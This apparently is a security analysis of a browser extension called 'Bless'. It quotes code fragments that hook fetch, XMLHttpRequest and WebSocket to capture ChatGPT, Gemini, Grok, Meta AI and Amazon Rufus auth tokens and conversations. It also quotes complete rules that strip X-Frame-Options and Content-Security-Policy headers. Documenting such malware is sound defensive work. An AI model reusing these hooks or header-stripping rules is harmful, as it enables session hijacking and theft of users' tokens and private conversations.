Bless

Intercepts fetch requests to capture ChatGPT auth tokens, device IDs, and sentinel tokens, then sends them to the parent window for exfiltration. This allows unauthorized use of the user's ChatGPT session.

if (reqHeaders.authorization) tokens.authToken = reqHeaders.authorization.replace("Bearer ", "");if (reqHeaders["oai-device-id"]) tokens.deviceId = reqHeaders["oai-device-id"];...window.postMessage(tokenData, "*");

Overrides WebSocket constructor to intercept Meta AI communication. Captures binary messages and allows sending prompts via EXECUTE_METAAI_PROMPT, effectively hijacking the user's Meta AI session.

window.WebSocket = function(n, r) {  ...t = a;...a.addEventListener("message", (e) => {    e.data instanceof ArrayBuffer && T(e.data);  });...}

Hooks XMLHttpRequest on Gemini to parse conversation responses, extract messages, and send structured conversation data (including user prompts) to the parent window via postMessage, enabling unauthorized collection of Gemini interactions.

const processFullResponse = (responseText, userMessage) => {  ...postUpdate(resolvedConvId);}

Overrides fetch on Grok to capture statsigId headers and sends them to the parent window, extracting identifiable session information without consent.

if (sid) window.parent.postMessage({  type: "GROK_STATSIG_ID_CAPTURED",  data: {    statsigId: sid  }}, "*");

Injects hooks into Amazon's Rufus AI service to capture CSRF tokens and conversation data, then sends them via postMessage. Also forwards API requests from offscreen frames, enabling unauthorized use of the user's Amazon session.

window.__rufusEarlyHook__ = !0, window.parent === window ? e() : t();... function e() {  ...window.fetch = c;...}

Uses declarativeNetRequest to strip X-Frame-Options and Content-Security-Policy headers from ChatGPT subframes, bypassing security protections to allow iframing and covert data capture.

{  "id": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "X-Frame-Options",        "operation": "remove"      },      {        "header": "Content-Security-Policy",        "operation": "remove"      }    ]  },  "condition": {    "urlFilter": "||chatgpt.com",    "resourceTypes": [      "sub_frame"    ]  }}

Strips security headers from Google subframes, enabling unauthorized iframing and potential data exfiltration.

{  "id": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "X-Frame-Options",        "operation": "remove"      },      {        "header": "Content-Security-Policy",        "operation": "remove"      }    ]  },  "condition": {    "urlFilter": "*://*.google.com/*",    "resourceTypes": [      "sub_frame"    ]  }}